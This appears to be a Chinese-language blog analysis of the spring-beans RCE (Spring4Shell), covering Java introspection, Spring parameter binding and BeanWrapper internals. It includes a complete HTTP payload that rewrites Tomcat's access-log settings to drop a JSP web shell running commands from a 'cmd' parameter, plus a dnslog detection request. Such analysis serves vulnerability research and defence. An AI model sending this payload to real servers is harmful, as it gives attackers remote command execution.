有点乱
spring-beans RCE
漏洞概述
漏洞概述
该漏洞的本质类似于变量覆盖漏洞,利用变量覆盖,修改tomcat
的配置,并修改tomcat
的日志位置到根目录,修改日志的后缀为jsp,达到木马文件写入的效果
值得一提的是该漏洞是CVE-2010-1622
的绕过,详情可以参考 http://rui0.cn/archives/1158
影响范围
spring-beans
版本5.3.0 ~ 5.3.17
、5.2.0 ~ 5.2.19
JDK 9+
Apache Tomcat
- 传参时使用
参数绑定
,且为非基础数据类型
漏洞核心
该漏洞的关键点,在于JDK内省机制
以及Spring属性注入
,在后文中都有详细的解析
内省机制
JavaBean
什么是JavaBean
- JavaBean是一种特殊的类,其内部没有功能性方法,主要包含信息字段和存储方法,因此JavaBean通常用于传递数据信息
- JavaBean类中的方法用于访问私有的字段,且方法名符合一定的命名规则
一般来说满足如下条件的,可以称为一个JavaBean
- 所有属性为
private
- 提供默认的无参构造方法
- 提供
setter&getter
方法,让外部可以设置&获取
JavaBean的属性
JavaBean的命名规则
- JavaBean中的方法,去掉set/get前缀,剩下的就是属性名
method: getName()
--> property: name
- 去掉前缀,剩下的部分中第二个字母是大写/小写,则剩下的部分应全部大写/小写
getSEX()
JavaBean内省
一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,使用它的程序看不到JavaBean内部的成员变量
内省即:当一个类是满足JavaBean条件时,就可以使用特定的方式,来获取和设置JavaBean中的属性值
API
Java中提供了一套API来访问某个属性的setter/getter方法,一般的做法是通过Introspector.getBeanInfo()
方法来获取某个对象的BeanInfo
,然后通过 BeanInfo
来获取属性的描述器PropertyDescriptor
,通过PropertyDescriptor
就可以获取某个属性对应的getter/setter
方法,然后通过反射机制来调用这些方法。
Introspector
除了JDK的Introspector
,还有Apache BeanUtils
,这里仅介绍前者
Introspector
类位于java.beans
包下
Introspector api
该类中的主要方法getBeanInfo
都是静态方法
// 获取 beanClass 及其所有父类的 BeanInfo
BeanInfo getBeanInfo(Class<?> beanClass)
// 获取 beanClass 及其指定到父类 stopClass 的 BeanInfo
BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass)
beaninfo api
// bean 信息
BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor();
// 属性信息
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
// 方法信息
MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();
demo
有这样一个JavaBean,尝试用Introspector来获取其属性
UserInfo
public class UserInfo {
private String id;
private String name;
public String getSex() { return null; }
public String getId() { return id; }
public void setId(String id) { this.id = id; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
}
IntrospectorTest
这里调用Introspector.getBeanInfo
,不使用带有stopClass
的重载方法,会让JDK连父类一并进行内省操作
public class IntrospectorTest {
public static void main(String[] args) throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println("Property: " + propertyDescriptor.getName());
}
}
}
output
Property:class
Property:id
Property:name
Property:sex
预期内的结果
- id (有getter方法)
- name (有getter方法)
- sex (虽然没有该属性,但是有getter方法,内省机制就会认为存在sex属性)
非预期内的结果
- class
这里出现了一个非常有意思的点,也是导致整个漏洞的关键因素之一,为什么会出现class呢
因为在Java中,所有的类都会默认继承Object
类
而在Object
中,又存在一个getClass()
方法,内省机制就会认为存在一个class属性
尝试再获取class属性的beaninfo
Introspector.getBeanInfo(Class.class);
Property:annotatedInterfaces
Property:annotatedSuperclass
Property:annotation
Property:annotations
Property:anonymousClass
Property:array
Property:canonicalName
Property:class
Property:classLoader
Property:classes
Property:componentType
Property:constructors
Property:declaredAnnotations
Property:declaredClasses
......
已经可以看到熟悉的classLoader
了
参数绑定
该漏洞的原理类似变量覆盖漏洞,通过传参修改tomcat日志的路径以及后缀等,本质其实是SpringMVC
的参数绑定
简单介绍一下SpringMVC
的参数绑定
基本类型、包装类型
基本类型int
@RequestMapping("/index")
@ResponseBody
public String baseType(int age) {
return "age: " + age;
}
http://localhost:8080/index?age=8
包装类型
@RequestMapping("/index")
@ResponseBody
public String packingType(Integer age) {
return "age: " + age;
}
包装类型主要是为了规避参数为空的问题,因为其不传值就赋null,但是int类型却不能为null
对象
多层级对象
public class UserInfo {
private Integer age;
private String address;
......补充其 get set toString 方法
}
在 User 类中引入这个类,这种情况该如何绑定参数呢
public class User {
private String id;
private String name;
private UserInfo userInfo;
}
http://localhost:8080/index?id=1&name=Steven&userInfo.age=20&userInfo.address=BeiJing
同属性对象
如果我们想要直接接收两个对象,有时候免不了有相同的成员,例如我们的User
和Student
类中均含有
id
、name
两个成员,我们试着请求一下
@RequestMapping("/index")
@ResponseBody
public String objectType2(User user, Student student) {
return user.toString() + " " + student.toString();
}
http://localhost:8080/index?id=0&name=t4r
返回结果:User{id='0', name='t4r'} Student{id='0', name='t4r'}
可以看到,两个对象的值都被赋上了,但是,大部分情况下,不同的对象的值一般都是不同的,为此,我们还有解决办法
@InitBinder 注解可以帮助我们分开绑定,下面的代码也就是说分别给user
、student
指定一个前缀
@InitBinder("user")
public void initUser(WebDataBinder binder) {
binder.setFieldDefaultPrefix("user.");
}
@InitBinder("student")
public void initStudent(WebDataBinder binder) {
binder.setFieldDefaultPrefix("stu.");
}
http://localhost:8080/index?user.id=1&name=t4r&stu.id=002
数组
@RequestMapping("/index")
@ResponseBody
public String arrayType(String[] name) {
StringBuilder sb = new StringBuilder();
for (String s : nickname) {
sb.append(s).append(", ");
}
return sb.toString();
}
http://localhost:8080/index?name=Alice&name=Bob
返回结果:Alice, Bob
集合
List类型
集合是不能直接进行参数绑定的,所以我们需要创建出一个类,然后在类中进行对List
的参数绑定
控制层方法中,参数就是这个创建出来的类
@RequestMapping("/index")
@ResponseBody
public String listType(UserList userList) {
return userList.toString();
}
http://localhost:8080/index?users[0].id=1&users[0].name=Alice&users[1].id=2&users[1].name=Bob
如果Tomcat
版本是高于7的 ,执行上述请求就会报400
错误
这是因为Tomcat高的版本地址中不能使用[
和]
,我们可以将其换成对应的16进制,即 [
换成 %5B
,]
换成%5D
或者直接用post
请求也可以
Map类型
map 类型是一样的套路,我们先创建一个 UserMap类,然后在其中声明 private Map<String,User> users
进而绑定参数
@RequestMapping("/index")
@ResponseBody
public String mapType(UserMap userMap) {
return userMap.toString();
}
同样 []
会遇到上面的错误,所以如果想要在地址栏请求访问,就需要替换字符,或者发起一个post
请求
属性注入
BeanWrapper
PropertyEditorRegistry
PropertyEditor 注册、查找TypeConverter
类型转换,其主要的工作由 TypeConverterDelegate 这个类完成的PropertyAccessor
属性读写ConfigurablePropertyAccessor
配置一些属性,如设置ConversionService
、是否暴露旧值、嵌套注入时属性为 null 是否自动创建BeanWrapper
对 bean 进行封装AbstractNestablePropertyAccessor
实现了对嵌套属性注入的处理
获取BeanWrapper实例
从上图可知,获取BeanWrapper实例可以通过其唯一实现类BeanWrapperImpl获取
BeanWrapper beanWrapper = new BeanWrapperImpl(对象);
属性注入
beanWrapper.setPropertyValue(属性名, 属性值);
beanWrapper.setPropertyValue("name", "t4r");
也可以通过PropertyValue
PropertyValue propertyValue = new PropertyValue("age", "80");
beanWrapper.setPropertyValue(propertyValue);
上述代码可以将属性值自动转换为适配的数据类型,过程如下
下图是跟踪BeanWrapperImpl#setPropertyValue(实际调用的就是父类AbstractNestablePropertyAccessor#setPropertyValue)
到AbstractNestablePropertyAccessor#processLocalProperty
的代码
可以总结一下processLocalProperty
函数主要做了两件事:
- 类型转换:
convertForProperty
利用JDK
的PropertyEditorSupport
进行类型转换 - 属性设置:
setValue
使用反射进行赋值,BeanWrapperImpl#BeanPropertyHandler#setValue
setValue
最终通过反射进行属性赋值,如下
嵌套属性注入
autoGrowNestedPaths=true 时当属性为 null 时自动创建对象
beanWrapper.setAutoGrowNestedPaths(true);
beanWrapper.setPropertyValue("director.name", "director");
beanWrapper.setPropertyValue("employees[0].name", "t4r");
获取类实例
Person person = (Person) beanWrapper.getWrappedInstance();
获取对象属性
String name = (String) beanWrapper.getPropertyValue("name");
AbstractNestablePropertyAccessor
BeanWrapper 有两个核心的实现类
AbstractNestablePropertyAccessor
提供对嵌套属性的支持BeanWrapperImpl
提供对 JavaBean 的内省功能,如PropertyDescriptor
上面已经简单介绍过了BeanWrapperImpl
而在Spring-framework 4.2
之后,AbstractNestablePropertyAccessor
将原BeanWrapperImpl
的功能抽出,BeanWrapperImpl
只提供对JavaBean
的内省功能,所以很多老哥看CVE-2010-1622
的分析时可能会比较疑惑
核心成员属性
Object wrappedObject
:被BeanWrapper
包装的对象String nestedPath
:当前BeanWrapper
对象所属嵌套层次的属性名,最顶层的BeanWrapper
的nestedPath
的值为空Object rootObject
:最顶层BeanWrapper
所包装的对象Map<String, AbstractNestablePropertyAccessor> nestedPropertyAccessors
:缓存当前BeanWrapper
的嵌套属性的nestedPath
和对应的BeanWrapperImpl
对象
getPropertyAccessorForPropertyPath
getPropertyAccessorForPropertyPath
根据属性(propertyPath
)获取所在bean
的包装对象beanWrapper
,如果是类似class.module.classLoader
的嵌套属性,则需要递归获取。真正获取指定属性的包装对象则由方法getNestedPropertyAccessor
完成
该函数内的具体操作,以属性class.module.classLoader
为例
- 获取第一个
.
之前的属性部分 递归
处理嵌套属性- 先获取
class
属性所在类的rootBeanWrapper
- 再获取
module
属性所在类的classBeanWrapper
- 以此类推,获取最后一个属性classLoader属性所在类的
moduleBeanWrapper
- 先获取
getPropertyAccessorForPropertyPath
处理属性有两种情况:
- class(不包含
.
):直接范围当前bean的包装对象 - class.module.classLoader(包含
.
):从当前对象开始递归查找,查找当前beanWrapper
指定属性的包装对象由getNestedPropertyAccessor()
完成
getNestedPropertyAccessor
函数中的主要工作如下:
nestedPropertyAccessors
用于缓存已经查找到过的属性getPropertyNameTokens
获取属性对应的token
值,主要用于解循环嵌套属性- 属性不存在则根据
autoGrowNestedPaths
决定是否自动创建 - 先从缓存中获取,没有就创建一个新的
AbstractNestablePropertyAccessor
对象
PropertyTokenHolder
- 用于解析嵌套属性名称
PropertyHandler
PropertyHandler
的默认实现是BeanPropertyHandler
,位于BeanWrapperImpl
内BeanPropertyHandler
是对PropertyDescriptor
的封装,提供了对JavaBean
底层的操作,如属性的读写
setPropertyValue
该函数内的主要操作如下
- 调用
getPropertyAccessorForPropertyPath
递归获取propertyName
属性所在的beanWrapper
- 获取属性的
token
,token
用于标记该次属性注入是简单属性注入,还是Array、Map、List、Set
复杂类型的属性注入 - 设置属性值
getPropertyValue
- 顾名思义,根据属性名称获取对应的值
- 通过反射完成
setDefaultValue
autoGrowNestedPaths=true
时会创建默认的对象创建对象的操作会由
setDefaultValue
调用其无参构造方法完成
漏洞分析
漏洞复现
IDEA创建一个SpringMVC项目,搭建过程不赘述
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>springMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/springMVC.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
springMVC.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
<bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" />
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/>
<context:component-scan base-package="com.example.springshell.controller"/>
</beans>
maven
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.17</version>
</dependency>
Controller
package com.example.springshell.controller;
import com.example.springshell.bean.Person;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class TestController {
@RequestMapping("/hello")
public String hello(Person person){
return person.getName();
}
}
JavaBean
package com.example.springshell.bean;
public class Person{
private String name;
private int age;
public int getAge(){
return age;
}
public String getName(){
return name;
}
public void setAge(int age){
this.age = age;
}
public void setName(String name){
this.name = name;
}
}
payload
POST /hello HTTP/1.1
Host: localhost:8082
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
suffix: %>
prefix: <%
Content-Length: 679
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
断点分析
在有了上文的属性注入基础后,再来分析漏洞过程,就显得格外清晰了
上文中提到Spring-framework 4.2
之后由AbstractNestablePropertyAccessor
来完成嵌套输入注入的支持
在AbstractNestablePropertyAccessor#setPropertyValue
处设置断点,根据设置的控制器路由,发送上述的http请求,触发断点(断点的位置已经是完成了参数绑定后的位置,参数绑定主要是通过DataBinder
完成,该操作不是漏洞的关键点,略过)
可以看到函数的入参是pv,我们追溯一下,可以发现AbstractPropertyAccessor#setPropertyValues
通过for循环,对请求中的每一个键值对,调用AbstractNestablePropertyAccessor#setPropertyValue
进行属性注入操作
回到AbstractNestablePropertyAccessor#setPropertyValue
,分析一下该函数做的事:
- 创建了一个
PropertyTokenHolder
对象,上文中也提到,用于解析嵌套属性名称 - 属性名存在则创建一个
AbstractNestablePropertyAccessor
对象,并调用getPropertyAccessorForPropertyPath
此时的propertyName
为class.module.classLoader.resources.context.parent.pipeline.first.directory
,跟入getPropertyAccessorForPropertyPath
在getPropertyAccessorForPropertyPath
中,正如前文所说,通过递归的方式,获取嵌套属性的包装对象beanWrapper
这里首先会通过getFirstNestedPropertySeparatorIndex
拿到.
前的一个属性,拿到class
属性后,调用getNestedPropertyAccessor
该函数中:
- 创建了一个缓存列表,在后续操作中,判断获取的属性是否已经在列表中,如在则直接获取,否则会新创建一个
AbstractNestablePropertyAccessor
- 创建了一个
PropertyTokenHolder
,之后调用getPropertyValue
处理它
简单提一下,这里的缓存列表结构如下,可以发现嵌套的属性
在AbstractNestablePropertyAccessor#getPropertyValue
中又调用getLocalPropertyHandler
处理传入的PropertyTokenHolder
中的actualName(即class)
AbstractNestablePropertyAccessor
中的getLocalPropertyHandler
是一个抽象方法,其唯一子类BeanWrapperImpl
重写了该方法,跟入该方法
调用了CachedIntrospectionResults#getPropertyDescriptor
而真正的逻辑在其构造方法中,看到了我们熟悉的getBeanInfo
这里也就解释了我们为什么能获取到class
这个属性值,因此其没用调用另一个有stopclass
参数的重载方法
到此,算是完成了获取class这个参数的beanWrapper
回到AbstractNestablePropertyAccessor.setPropertyValue
接着会调用重载的方法,进行属性的注入
又调用了processLocalProperty
processLocalProperty
函数之前也提到过,完成了类型转换
以及调用BeanWrapperImpl#setValue
通过反射完成了最终的属性注入
绕过
在CachedIntrospectionResults
的构造方法中,可以看到对beanClass
以及属性名做了判断
beanClass
非class
- 属性名非
classLoader
或protectionDomain
显然Class.getClassLoader
被拦截了
但是Java9新增了module
,可以通过Class.getModule
方法调用getClassloader
的方式继续访问更多对象的属性
Payload
在调试过程中,发现了payload中的
class.module.classLoader.resources.context.parent.pipeline.first
context
对应StandardContext
parent
对应StandardHost
pipeline
对应StandardPipeline
first
对应AccessLogValve
因此,公开的利用链也就是利用AccessLogValve
,这个类用来设置tomcat
得日志存储参数,修改参数可以达到文件写入的效果
payload中
suffix: %>
prefix: <%
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
由于%
会被过滤,pattern
里通过引用头部来实现构造
%{x}i可引用请求头字段
%{x}i 请求headers的信息
%{x}o 响应headers的信息
%{x}c 请求cookie的信息
%{x}r xxx是ServletRequest的一个属性
%{x}s xxx是HttpSession的一个属性
此外StandardContext
中的configFile可发送http请求,可以用于漏洞的检测
发送如下请求
POST /springshell_war_exploded/hello HTTP/1.1
Host: localhost:8082
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
Content-Length: 163
class.module.classLoader.resources.context.configFile=http://test.9vvyp3.dnslog.cn&class.module.classLoader.resources.context.configFile.content.config=config.conf
DNS记录